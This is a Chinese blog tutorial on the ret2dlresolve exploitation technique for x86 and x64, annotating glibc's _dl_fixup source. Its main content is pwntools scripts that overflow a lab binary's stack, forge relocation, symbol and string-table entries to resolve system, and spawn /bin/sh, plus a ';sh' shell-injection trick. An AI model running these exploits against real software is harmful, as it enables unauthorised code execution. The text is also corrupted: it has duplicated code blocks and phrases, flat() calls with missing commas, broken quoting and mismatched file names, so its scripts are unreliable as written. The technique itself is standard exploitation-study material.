vlambda博客
学习文章列表

ret2dlresolve详解 附源码分析(x86&x64)


  

x86


前置知识




 延迟绑定


第一次调用一个函数时,先是到plt表,然后jmp到got表.

ret2dlresolve详解 附源码分析(x86&x64)


其实也就是jmp got的下一条指令,这里先是push一个数字(该函数在rel.plt上的偏移,reloc_arg,后文会讲到),然后jmp到plt[0] (0x8048380)


ret2dlresolve详解 附源码分析(x86&x64)



ret2dlresolve详解 附源码分析(x86&x64)

ret2dlresolve详解 附源码分析(x86&x64)


所以相当于执行了

   _dl_runtime_resolve(link_map,reloc_arg)




_dl_fixup


_dl_runtime_resolve 函数其实就调用了 _dl_fixup 函数

ret2dlresolve详解 附源码分析(x86&x64)


_dl_fixu_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的,我们先分析接下来会用到的一些函数,完整的源码分析在后文

  _dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
 // 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
 const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
 // 然后通过reloc->r_info找到.dynsym中对应的条目
 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
 // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
 assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
 // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
 result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 // value为libc基址加上要解析函数的偏移地址,也即实际地址
 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
 // 最后把value写入相应的GOT表条目中
 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); 
}


暂时看不懂不要紧,下面我们通过实践,逐步利用每一条语句进行伪造



渐进学习


难度是逐渐加深,学习建议是每一步都跟着脚本走一遍,关键地方我都给出了注释,然后最好自己能把每一步都写出来个大概。

前面的一些概念和名词只需要大致知道是个什么东西,不需要深究,到后面自然会逐步加深理解。

文末给出了参考链接和相关文件及脚本的下载链接


1

我们先编译以下代码,一个常规的栈溢出,接下来我们在不leak的条件下逐步利用_dl_fixup函数最后get shell

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
 char buf[100];
 setbuf(stdin, buf);
 read(0, buf, 256);
}
int main()
{
 char buf[100] = "Welcome to XDCTF2015~!\n";

 setbuf(stdout, buf);
 write(1, buf, strlen(buf));
 vuln();
 return 0;
}
gcc -fno-stack-protector -m32 -z relro -no-pie rof.c -o parelro_x64

保护如下:


ret2dlresolve详解 附源码分析(x86&x64)

首先是先栈迁移到bss段,再手动调用plt[0],解析write函数,把命令打印出来,我们只需提前push reloc_arg(push 20h)即可完成利用

对应的是这一句

_dl_fixup(struct link_map *1,ElfW(Word) reloc_arg)

ret2dlresolve详解 附源码分析(x86&x64)

_dl_fixup(struct link_map *1,ElfW(Word) reloc_arg)

from pwn import *
elf = ELF('./bof')
context.log_level = 'debug'

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
# 把payload2写入bss段,并把栈迁移到bss段
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20# write's index

payload2 = flat('AAAA'
, p32(plt_0) # push link_map;jmp dl_runtime_resolve
, index_offset # 这里对应的就是 push 20h
'aaaa'
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
'A' * 52
, cmd + '\x00'
'A' * 12)

r.sendline(payload2)
r.interactive()

from pwn import *
elf = ELF('./bof')
context.log_level = 'debug'

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
# 把payload2写入bss段,并把栈迁移到bss段
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20# write's index

payload2 = flat('AAAA'
, p32(plt_0) # push link_map;jmp dl_runtime_resolve
, index_offset # 这里对应的就是 push 20h
'aaaa'
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
'A' * 52
, cmd + '\x00'
'A' * 12)

r.sendline(payload2)
r.interactive()



ret2dlresolve详解 附源码分析(x86&x64)


可以看到成功打印出字符


2


对应这一句

// 通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
 const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);


.rel.plt节是用于函数重定位,.rel.dyn是用于变量重定位

下面是rel的结构体定义

typedef struct{
 Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
 Elf32_Word r_info; // 符号表索引
}Elf32_Rel;



ret2dlresolve详解 附源码分析(x86&x64)

.got节保存了全局变量偏移表,.got.plt节保存了全局函数偏移表。我们通常说的got表指的是.got.plt。.got.plt对应着Elf32_Rel结构中r_offset的值


// 原本是
reloc_arg + rel_plt = rel_plt->write
// 伪造成
fake_arg + rel_plt = fake_write


只需要更改payload2内容


cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
r_info = 0x607 # 对应wirte,由 readelf -r bof 查询
fake_write = flat(p32(r_offset), p32(r_info)) # 伪造的rel_write

payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
'aaaa'
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write
'A' * 44
, cmd + '\x00'
'A' * 12)


ret2dlresolve详解 附源码分析(x86&x64)

再次成功调用


3


对应这两句

    // 然后通过reloc->r_info找到.dynsym中对应的条目
 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
 // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
 assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);


.dynsym节包含了动态链接符号表。ELF32_Sym[num]中的num对应着ELF_R_SYM(Elf32_Rel->r_info)。根据定义,


sym的结构体如下(大小为0x10)

  typedef struct
{
 Elf32_Word st_name; // Symbol name(string tbl index)
 Elf32_Addr st_value; // Symbol value
 Elf32_word st_size; // Symbol size
 unsigned char st_info; // Symbol type and binding
 unsigned char st_other; // symbol visibility under glibc>=2.2
 Elf32_Section st_shndx; // Section index
}Elf32_Sym;


write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7, 对应着R_386_JUMP_SLOT。


ida中的symtab


ret2dlresolve详解 附源码分析(x86&x64)

 payload中0x4c的由来:
st_name = write_strtab - strtab = 0x4c


ret2dlresolve详解 附源码分析(x86&x64)
原本:
sym[num],num = (write_sym - dynsym) / 16 = 6
伪造后:
num = (fake_write_sym - dynsym) / 16


更改后的payload2


cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
fake_write_addr = base_stage + 28
index_offset = fake_write_addr - rel_plt
r_offset = elf.got['write']

'''手动算偏移
base_stage + 28 = 134522944
base_stage + 28 + 8 - dynsym = 9868
9868 % 16 = 12
align = 16 - 12 = 4 
r_info = (0x0804a040+0x800+28+12-0x080481d8)/16 = 617.0
'
''

align = 0x10 - ((base_stage + 36 - dynsym) % 16) 
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write = flat(p32(r_offset), p32(r_info))
fake_sym = flat(p32(0x4c),p32(0),p32(0),p32(0x12)) # 0x4c就是st_name,0x12在IDA的symbol表可查到

payload2 = flat('AAAA'
, p32(plt_0)
, index_offset
, p32(ppp_ret)
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write # base_stage + 28
'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))

r.sendline(payload2)
r.interactive()





ret2dlresolve详解 附源码分析(x86&x64)

4

相信到了这一步,对于接下来要做什么已经很清楚了,既然在上一步我们能控制st_name,那接下来自然是伪造st_name,从而可以控制字符串表

对应这一句

// 接着通过strtab+(sym->st_name)找到符号表字符串,result为libc基地址
 result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);


原本:
 st_name = write_strtab - strtab
伪造后:
 fake_name = fake_write_str_addr - strtab


ret2dlresolve详解 附源码分析(x86&x64)


原本:
 st_name = write_strtab - strtab
伪造后:
 fake_name = fake_write_str_addr - strtab

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
strtab = 0x08048278 #readelf -S bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']

align = 0x10 - ((base_stage + 36 - dynsym) % 16) 
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'write\x00'

payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))

r.sendline(payload2)
r.interactive()

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
strtab = 0x08048278 #readelf -S bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']

align = 0x10 - ((base_stage + 36 - dynsym) % 16) 
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'write\x00'

payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))

r.sendline(payload2)
r.interactive()





ret2dlresolve详解 附源码分析(x86&x64)


5

最后一步自然是最简单的,现在我们知道_dl_fixup最后是根据字符串也就是函数名来索引函数,而我们已经能控制字符串表,所以我们只需把write改为system,并把相应参数替换一下,即可get shell


cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
strtab = 0x08048278 #readelf -S bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']

align = 0x10 - ((base_stage + 36 - dynsym) % 16) 
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'system\x00'

payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))

r.sendline(payload2)
r.interactive()



ret2dlresolve详解 附源码分析(x86&x64)


小总结

所以我们一共需要伪造 reloc_arg ,r_info , st_name , str。



NO RELRO

其实就相当于直接一步到上面的最后一步。



例子

把上面源码编译


gcc -fno-stack-protector -m32 -z norelro -no-pie bof.c -o bof_norelro


ret2dlresolve详解 附源码分析(x86&x64)


利用思路已经利用思路已经在注释中给出在注释中给出


from pwn import *
context.log_level = 'debug'
elf = ELF('./norelro')

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048629 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804862b
leave_ret = 0x08048445 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x300
bss_addr = 0x080498e0 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./norelro')
#r = gdb.debug("./bof3","break main")
r.recvuntil('Welcome to XDCTF2015~!\n')
# 常规栈溢出,先将栈迁移到bss段
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(0x500)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.sendline(payload)

# 由于多函数调用在一个payload里会参数混乱,此时system的参数为p32(strtab),所以采取shell注入的方式
fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00read\x00stdout\x00setbuf\x00__libc_start_main\x00system\x00' 
strtab = 0x08049808 # .dynamic节中strtab的地址
payload2 = flat('AAAA'
, p32(read_plt)
, p32(0x080483A6) # push 20h;jmp plt[0]
, p32(0)
, p32(strtab) # .dynamic中strtab的地址
, p32(7)
, fake_dynstr)

r.sendline(payload2)
# 这里实际上是 system(p32(base_stage+24)+';sh') 而由于system(p32(base_stage+24))会调用失败,显示找不到这个命令,然后就会被';'结束掉这个命令,开启下一个命令,也就是system('sh')
fake_str_addr = flat(p32(base_stage + 24),';sh'# 覆盖strtab地址,并shell注入
payload3 = flat(fake_str_addr )
r.send(payload3)
r.interactive()




ret2dlresolve详解 附源码分析(x86&x64)


x64

NO RELRO

64位下利用更简便,从栈传参变成了寄存器传参,不需要栈迁移,而且没有参数混乱的问题 ,一条rop链就能解决

gcc -fno-stack-protector -z norelro -no-pie rof.c -o norelro_x64


脚本注释已经写得很清楚了

gcc -fno-stack-protector -z norelro -no-pie rof.c -o norelro_x64

from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

r = process('./norelro_x64')  
elf = ELF('./norelro_x64')  
read_plt = elf.plt['read']  
#我们攻击的目标,.dynamic中strtab的地址,我们要在此处修改指向fake_dynstr  
target_addr = 0x600988 + 8  
#用于加载函数地址的函数,当我们伪造了dynstr后,再次调用即可加载我们需要的函数  
plt0_load = 0x4004D0   
#pop rdi;ret;  
pop_rdi = 0x400773 
#pop rsi ; pop r15 ; ret  
pop_rsi = 0x400771
#伪造dynstr  
fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00' #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00'
bss = 0x600B30  

payload = flat('a' * 120 , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , # 将'/bin/sh'以及伪造的strtab写入bss段
                pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , # 将.dynamic中的strtab地址改为我们伪造的strtab的地址
                pop_rdi , bss , plt0_load , 1 # 调用.dl_fixup,解析strlen函数,由于我们已经在fake_strtab中将strlen替换成system,所以将会解析system函数

)

r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)  
#发送system的参数以及伪造的strtab
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr  
sleep(1)  
r.sendline(payload2)  
sleep(1)  
#修改dynsym里的strtab的地址为我们伪造的dynstr的地址  
r.sendline(p64(bss + 0x10))  
r.interactive()  

from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

r = process('./norelro_x64')  
elf = ELF('./norelro_x64')  
read_plt = elf.plt['read']  
#我们攻击的目标,.dynamic中strtab的地址,我们要在此处修改指向fake_dynstr  
target_addr = 0x600988 + 8  
#用于加载函数地址的函数,当我们伪造了dynstr后,再次调用即可加载我们需要的函数  
plt0_load = 0x4004D0   
#pop rdi;ret;  
pop_rdi = 0x400773 
#pop rsi ; pop r15 ; ret  
pop_rsi = 0x400771
#伪造dynstr  
fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00' #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00'
bss = 0x600B30  

payload = flat('a' * 120 , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , # 将'/bin/sh'以及伪造的strtab写入bss段
                pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , # 将.dynamic中的strtab地址改为我们伪造的strtab的地址
                pop_rdi , bss , plt0_load , 1 # 调用.dl_fixup,解析strlen函数,由于我们已经在fake_strtab中将strlen替换成system,所以将会解析system函数

)

r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)  
#发送system的参数以及伪造的strtab
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr  
sleep(1)  
r.sendline(payload2)  
sleep(1)  
#修改dynsym里的strtab的地址为我们伪造的dynstr的地址  
r.sendline(p64(bss + 0x10))  
r.interactive()  



ret2dlresolve详解 附源码分析(x86&x64)


PARTIAL_RELRO

同样先将上面的源码编译


gcc -fno-stack-protector -z relro -no-pie rof.c -o parelro_x64


ret2dlresolve详解 附源码分析(x86&x64)



gcc -fno-stack-protector -z relro -no-pie rof.c -o parelro_x64

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
 // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

   /* Look up the target symbol.  If the normal lookup rules are not
      used don'
t look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
    {
      const struct r_found_version *version = NULL;
 // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
 {
      // 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
   const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
   ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
   version = &l->l_versions[ndx];
   if (version->hash == 0)
     version = NULL;
 }

      /* We need to keep the scope around so do some locking.  This is
  not necessary for objects which cannot be unloaded or when
  we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
 {
   THREAD_GSCOPE_SET_FLAG ();
   flags |= DL_LOOKUP_GSCOPE_LOCK;
 }

      RTLD_ENABLE_FOREIGN_CALL;
 // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
        version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
 THREAD_GSCOPE_RESET_FLAG ();

      RTLD_FINALIZE_FOREIGN_CALL;

      /* Currently result contains the base load address (or link map)
  of the object that defines sym.  Now add in the symbol
  offset.  */
      // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    { 
      // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its load
  address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}


_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
 // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

   /* Look up the target symbol.  If the normal lookup rules are not
      used don'
t look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
    {
      const struct r_found_version *version = NULL;
 // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
 {
      // 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
   const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
   ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
   version = &l->l_versions[ndx];
   if (version->hash == 0)
     version = NULL;
 }

      /* We need to keep the scope around so do some locking.  This is
  not necessary for objects which cannot be unloaded or when
  we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
 {
   THREAD_GSCOPE_SET_FLAG ();
   flags |= DL_LOOKUP_GSCOPE_LOCK;
 }

      RTLD_ENABLE_FOREIGN_CALL;
 // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
        version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
 THREAD_GSCOPE_RESET_FLAG ();

      RTLD_FINALIZE_FOREIGN_CALL;

      /* Currently result contains the base load address (or link map)
  of the object that defines sym.  Now add in the symbol
  offset.  */
      // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    { 
      // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its load
  address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}


所以接下来我们的任务就是控制 link_map 中的l_addr和 sym中的st_value

具体思路为

  伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx

  伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置

 也就是相当于 value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system


下面是64位下的sym结构体

typedef struct  
{  
  Elf64_Word    st_name;        /* Symbol name (string tbl index) */  
  unsigned char st_info;        /* Symbol type and binding */  
  unsigned char st_other;       /* Symbol visibility */  
  Elf64_Section st_shndx;       /* Section index */  
  Elf64_Addr    st_value;       /* Symbol value */  
  Elf64_Xword   st_size;        /* Symbol size */  
} Elf64_Sym; 



其中

Elf64_Word 32 位

Elf64_Section 16 位

Elf64_Addr 64 位

Elf64_Xword 64 位



再来看link_map的结构


struct link_map {
    Elf64_Addr l_addr;

    char *l_name;

    Elf64_Dyn *l_ld;

    struct link_map *l_next;

    struct link_map *l_prev;

    struct link_map *l_real;

    Lmid_t l_ns;

    struct libname_list *l_libname;
    
    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
    ...

    size_t l_tls_firstbyte_offset;

    ptrdiff_t l_tls_offset;

    size_t l_tls_modid;

    size_t l_tls_dtor_count;

    Elf64_Addr l_relro_addr;

    size_t l_relro_size;
    
    unsigned long long l_serial;
    
    struct auditstate l_audit[];
}


这里的.dynamic节就对应l_info的内容

